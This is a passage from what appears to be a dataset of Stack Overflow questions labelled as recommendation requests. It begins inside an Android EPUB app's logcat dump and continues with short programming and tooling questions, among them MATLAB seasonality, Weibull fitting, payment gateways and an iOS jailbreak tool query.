15:23:34.537 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 728: Landroid/content/res/TypedArray;.getType (I)I\n07-12 15:23:34.537 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0008\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.createDeviceProtectedStorageContext, referenced from method android.support.v4.content.ContextCompat.createDeviceProtectedStorageContext\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 485: Landroid/content/Context;.createDeviceProtectedStorageContext ()Landroid/content/Context;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getCodeCacheDir, referenced from method android.support.v4.content.ContextCompat.getCodeCacheDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 491: Landroid/content/Context;.getCodeCacheDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColor, referenced from method android.support.v4.content.ContextCompat.getColor\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 492: Landroid/content/Context;.getColor (I)I\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColorStateList, referenced from method android.support.v4.content.ContextCompat.getColorStateList\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 493: Landroid/content/Context;.getColorStateList (I)Landroid/content/res/ColorStateList;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getDataDir, referenced from method android.support.v4.content.ContextCompat.getDataDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 495: Landroid/content/Context;.getDataDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getDrawable, referenced from method android.support.v4.content.ContextCompat.getDrawable\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 496: Landroid/content/Context;.getDrawable (I)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getExternalCacheDirs, referenced from method android.support.v4.content.ContextCompat.getExternalCacheDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 498: Landroid/content/Context;.getExternalCacheDirs ()[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getExternalFilesDirs, referenced from method android.support.v4.content.ContextCompat.getExternalFilesDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 500: Landroid/content/Context;.getExternalFilesDirs (Ljava/lang/String;)[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getNoBackupFilesDir, referenced from method android.support.v4.content.ContextCompat.getNoBackupFilesDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 503: Landroid/content/Context;.getNoBackupFilesDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getObbDirs, referenced from method android.support.v4.content.ContextCompat.getObbDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 505: Landroid/content/Context;.getObbDirs ()[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.isDeviceProtectedStorage, referenced from method android.support.v4.content.ContextCompat.isDeviceProtectedStorage\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 516: Landroid/content/Context;.isDeviceProtectedStorage ()Z\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.startForegroundService, referenced from method android.support.v4.content.ContextCompat.startForegroundService\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 531: Landroid/content/Context;.startForegroundService (Landroid/content/Intent;)Landroid/content/ComponentName;\n07-12 15:23:34.545 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.545 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.support.v7.view.ContextThemeWrapper.createConfigurationContext, referenced from method android.support.v7.view.ContextThemeWrapper.getResourcesInternal\n07-12 15:23:34.545 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 12233: Landroid/support/v7/view/ContextThemeWrapper;.createConfigurationContext (Landroid/content/res/Configuration;)Landroid/content/Context;\n07-12 15:23:34.545 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0017\n07-12 15:23:34.549 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.FrameLayout.startActionModeForChild, referenced from method android.support.v7.widget.ActionBarContainer.startActionModeForChild\n07-12 15:23:34.549 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16686: Landroid/widget/FrameLayout;.startActionModeForChild (Landroid/view/View;Landroid/view/ActionMode$Callback;I)Landroid/view/ActionMode;\n07-12 15:23:34.549 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0002\n07-12 15:23:34.553 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup.onRtlPropertiesChanged, referenced from method android.support.v7.widget.Toolbar.onRtlPropertiesChanged\n07-12 15:23:34.553 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16118: Landroid/view/ViewGroup;.onRtlPropertiesChanged (I)V\n07-12 15:23:34.553 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.557 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColorStateList, referenced from method android.support.v7.content.res.AppCompatResources.getColorStateList\n07-12 15:23:34.557 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 493: Landroid/content/Context;.getColorStateList (I)Landroid/content/res/ColorStateList;\n07-12 15:23:34.557 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.557 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/graphics/drawable/Icon;)\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.ImageButton.setImageIcon, referenced from method android.support.v7.widget.AppCompatImageButton.setImageIcon\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16709: Landroid/widget/ImageButton;.setImageIcon (Landroid/graphics/drawable/Icon;)V\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0000\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.Resources.getDrawable, referenced from method android.support.v7.widget.ResourcesWrapper.getDrawable\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 669: Landroid/content/res/Resources;.getDrawable (ILandroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.Resources.getDrawableForDensity, referenced from method android.support.v7.widget.ResourcesWrapper.getDrawableForDensity\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 671: Landroid/content/res/Resources;.getDrawableForDensity (IILandroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.561 2754-2754/com.edep.useepublib E/dalvikvm: Could not find class 'android.graphics.drawable.RippleDrawable', referenced from method android.support.v7.widget.AppCompatImageHelper.hasOverlappingRendering\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve instanceof 194 (Landroid/graphics/drawable/RippleDrawable;) in Landroid/support/v7/widget/AppCompatImageHelper;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x20 at 0x000c\n07-12 15:23:34.577 2754-2757/com.edep.useepublib D/dalvikvm: GC_CONCURRENT freed 221K, 4% free 8187K/8455K, paused 10ms+0ms, total 12ms\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeMaxTextSize, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeMaxTextSize\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17005: Landroid/widget/TextView;.getAutoSizeMaxTextSize ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeMinTextSize, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeMinTextSize\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17006: Landroid/widget/TextView;.getAutoSizeMinTextSize ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeStepGranularity\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17007: Landroid/widget/TextView;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeTextAvailableSizes, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeTextAvailableSizes\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17008: Landroid/widget/TextView;.getAutoSizeTextAvailableSizes ()[I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeTextType, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeTextType\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17009: Landroid/widget/TextView;.getAutoSizeTextType ()I\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0007\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeUniformWithConfiguration, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeUniformWithConfiguration\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17052: Landroid/widget/TextView;.setAutoSizeTextTypeUniformWithConfiguration (IIII)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeUniformWithPresetSizes, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeUniformWithPresetSizes\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17053: Landroid/widget/TextView;.setAutoSizeTextTypeUniformWithPresetSizes ([II)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeWithDefaults, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeWithDefaults\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17054: Landroid/widget/TextView;.setAutoSizeTextTypeWithDefaults (I)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatTextHelper.loadFromAttributes\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17007: Landroid/widget/TextView;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0163\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.text.StaticLayout$Builder.obtain, referenced from method android.support.v7.widget.AppCompatTextViewAutoSizeHelper.createStaticLayoutForMeasuring\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve static method 15494: Landroid/text/StaticLayout$Builder;.obtain (Ljava/lang/CharSequence;IILandroid/text/TextPaint;I)Landroid/text/StaticLayout$Builder;\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x71 at 0x0014\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.isInLayout, referenced from method android.support.v7.widget.AppCompatTextViewAutoSizeHelper.setRawTextSize\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17044: Landroid/widget/TextView;.isInLayout ()Z\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0020\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeMaxTextSize, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeMaxTextSize\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16565: Landroid/widget/Button;.getAutoSizeMaxTextSize ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeMinTextSize, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeMinTextSize\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16566: Landroid/widget/Button;.getAutoSizeMinTextSize ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeStepGranularity\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16567: Landroid/widget/Button;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeTextAvailableSizes, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeTextAvailableSizes\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16568: Landroid/widget/Button;.getAutoSizeTextAvailableSizes ()[I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeTextType, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeTextType\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16569: Landroid/widget/Button;.getAutoSizeTextType ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0007\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeUniformWithConfiguration, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeUniformWithConfiguration\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16575: Landroid/widget/Button;.setAutoSizeTextTypeUniformWithConfiguration (IIII)V\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeUniformWithPresetSizes, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeUniformWithPresetSizes\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16576: Landroid/widget/Button;.setAutoSizeTextTypeUniformWithPresetSizes ([II)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.589 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeWithDefaults, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeWithDefaults\n07-12 15:23:34.589 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16577: Landroid/widget/Button;.setAutoSizeTextTypeWithDefaults (I)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.589 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.resolveLayoutDirection, referenced from method android.support.constraint.ConstraintLayout$LayoutParams.resolveLayoutDirection\n07-12 15:23:34.589 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16066: Landroid/view/ViewGroup$MarginLayoutParams;.resolveLayoutDirection (I)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0004\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.getLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.getLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16062: Landroid/view/ViewGroup$MarginLayoutParams;.getLayoutDirection ()I\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.resolveLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.resolveLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16066: Landroid/view/ViewGroup$MarginLayoutParams;.resolveLayoutDirection (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16067: Landroid/view/ViewGroup$MarginLayoutParams;.setLayoutDirection (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setMarginEnd, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setMarginEnd\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16068: Landroid/view/ViewGroup$MarginLayoutParams;.setMarginEnd (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setMarginStart, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setMarginStart\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16069: Landroid/view/ViewGroup$MarginLayoutParams;.setMarginStart (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.621 2754-2754/com.edep.useepublib D/libEGL: loaded /system/lib/egl/libEGL_genymotion.so\n07-12 15:23:34.633 2754-2754/com.edep.useepublib D/libEGL: loaded /system/lib/egl/libGLESv1_CM_genymotion.so\n loaded /system/lib/egl/libGLESv2_genymotion.so\n07-12 15:23:34.693 2754-2754/com.edep.useepublib W/EGL_genymotion: eglSurfaceAttrib not implemented\n07-12 15:23:34.697 2754-2754/com.edep.useepublib D/OpenGLRenderer: Enabling debug mode 0\n07-12 15:23:34.733 2754-2754/com.edep.useepublib D/OpenGLRenderer: TextureCache::get: create texture(0xb95c6df8): name, size, mSize = 3, 2304, 2304\n07-12 15:23:35.937 2754-2754/com.edep.useepublib E/epublib: TomSawyer.epub\n07-12 15:23:35.965 2754-2754/com.edep.useepublib W/EGL_genymotion: eglSurfaceAttrib not implemented\n07-12 15:23:36.033 2754-2754/com.edep.useepublib D/TilesManager: new EGLContext from framework: b95ec8b8 \n07-12 15:23:36.033 2754-2754/com.edep.useepublib D/GLWebViewState: Reinit shader\n07-12 15:23:36.105 2754-2754/com.edep.useepublib D/GLWebViewState: Reinit transferQueue\n07-12 15:33:28.685 2754-2757/com.edep.useepublib D/dalvikvm: GC_CONCURRENT freed 109K, 3% free 8513K/8711K, paused 10ms+0ms, total 12ms\n07-12 15:33:28.689 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/graphics/drawable/Icon;)\n07-12 15:33:28.689 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.ImageView.setImageIcon, referenced from method android.support.v7.widget.AppCompatImageView.setImageIcon\n07-12 15:33:28.689 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16744: Landroid/widget/ImageView;.setImageIcon (Landroid/graphics/drawable/Icon;)V\n07-12 15:33:28.689 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0000\n07-12 15:33:34.381 2754-2768/com.edep.useepublib E/webcoreglue: Should not happen: no rect-based-test nodes found\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Seasonal Effect Identification","Body":"<p>I am trying to find the seasonal effect identification ways with application in matlab. I need to detect the seasonality and then find the periodicity of the time series with this code. Is there any good method for this?</p>\n"},{"Classification":"Recommendation request","Title":"last name and common misspelling/alternatives?","Body":"<p>I am looking for a good source for a collection last names and their common misspellings/alternatives/alias for testing purposes, something like \"Peterson\" for \"Petersen\". Any advice?</p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"How to implement Parallex scolling while using ConstraintLayout","Body":"<p>How can I implement a parallex scolling AppBar in android while using <code>ConstraintLayout</code> or I must use the <code>coordinatorLayout</code> and <code>NestedScollView</code> for that purpose?</p>\n"},{"Classification":"Recommendation request","Title":"How do i use chart-plugin-streaming in angularjs","Body":"<p>I want to use chartjs-plugin-streaming in my angularjs project.</p>\n\n<p>I am using chart.js/angular-chart for my data visualization but i want to show the realtime data so i am trying to use streaming plugin. please help me to do that.</p>\n\n<p>Any references/examples in AngularJS?</p>\n"},{"Classification":"Recommendation request","Title":"How can find Weibull function parameters by given x,y data in python?","Body":"<p>I have a data which look like Weibulls function. How can i find the parameters of the function that satisfy my data?\n<a href=\"https://i.stack.imgur.com/FTh6q.png\" rel=\"nofollow noreferrer\">my data</a></p>\n"},{"Classification":"Recommendation request","Title":"What are some good networking projects?","Body":"<p>I am right now pursuing Computer Science Engineering undergrad.\nI want some good and trending WORKING projects in networking.</p>\n"},{"Classification":"Recommendation request","Title":"Python execute file from .zip","Body":"<p>I'm using ZipFile module in Python and want to execute .exe file from the archive without extracting. For example I have 1.zip and inside it 2.exe. How can I execute 2.exe? Using .read method I can open it as binary but I'd like to execute. Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Which is the best payment gateway for WordPress Woocommerce in India?","Body":"<p>I've developed an e-commerce website and I would like to integrate an ideal payment gateway for my project. Please suggest a list.</p>\n\n<p>Location: India\nPurchasing products allowed only from India.</p>\n"},{"Classification":"Recommendation request","Title":"Anaconda vs atom. Which editor is more flexible for different goals?","Body":"<p>I want to find more flexible tool for my python self-education in web and machine learning. Which editor gives me enough things for effective work?</p>\n"},{"Classification":"Recommendation request","Title":"Live video streaming api with mobile and web support","Body":"<p>I have to add video conferencing functionality in a web application. Can someone suggest an open source javaScript based API for this?</p>\n"},{"Classification":"Recommendation request","Title":"Payment gateways with payout option to multiple bank accounts","Body":"<p>Is there any payment gateways for Australia that supports payout of amounts to multiple bank accounts that are attached with payment gateway. I have tried stripe.com but they allows only one bank account per currency?</p>\n\n<p>My requirement is \n\"During customer payment for an order money will be credited to the main account. At the time settlement for all partners (weekly/monthly will be set in API cron jobs) based upon their transactions money will be automatically debited from the main stripe account and will be credited to the partners bank account. Within 2-3 days time this transferred money will be reflected in the partners bank accounts.\"</p>\n"},{"Classification":"Recommendation request","Title":"Precompiled Tensor Flow C++ libraries for windows","Body":"<p>any idea where to get (Versioned) Precompiled Tensor Flow C++ (libs/dlls) libraries for windows</p>\n\n<p>Thanks\nSimon</p>\n"},{"Classification":"Recommendation request","Title":"What is Common Locale Data Repository (CLDR) - JDK 9","Body":"<p>I want to understand CLDR as it is enhanced in JDK-9.</p>\n\n<p><a href=\"http://www.oracle.com/technetwork/java/javase/9-relnote-issues-3704069.html#JDK-8008577\" rel=\"nofollow noreferrer\">JDK 9 CLDR</a>\n - As per JDK docs</p>\n\n<blockquote>\n <p>In JDK 9, the default locale data uses data derived from the Unicode\n Consortium's Common Locale Data Repository (CLDR). As a result, users\n may see differences in locale sensitive services behavior and/or\n translations.</p>\n</blockquote>\n\n<p>Can some one help me understand this and let me know what will be its reprecusion in JDK8 Date API.</p>\n"},{"Classification":"Recommendation request","Title":"Machine learning Library for Cookie Training","Body":"<p>I have to train Cookie/biscuit image to check deformities, color and shape.Which ML-Library should I use for training purpose.</p>\n"},{"Classification":"Recommendation request","Title":"How to Use Linx socket between two different nodes","Body":"<p>I am looking for Linx client server socket communication in C which takes a request and send a response to the client.</p>\n\n<p>I tried finding code online for reference but unable to find.</p>\n"},{"Classification":"Recommendation request","Title":"my own php REST API issue in mobile","Body":"<p>I have build my own registration API using php REST API and it is working in postman and other API checkers and also when i use it in react mobile application it is working only on laptop emulator. when i run apk in mobile it is not working. are there any libraries to to deploy in php file?</p>\n"},{"Classification":"Recommendation request","Title":"free software tools to jailbreak iOS 11.2.1 and jailbreak procedure","Body":"<p>My ipad have current version of iOS is 11.2.1. How to jailbreak iOS 11.2.1 using free software tools?\nPlease suggest some solutions to jailbreak iOS 11.2.1</p>\n"},{"Classification":"Recommendation request","Title":"Wrong argument count with C program as 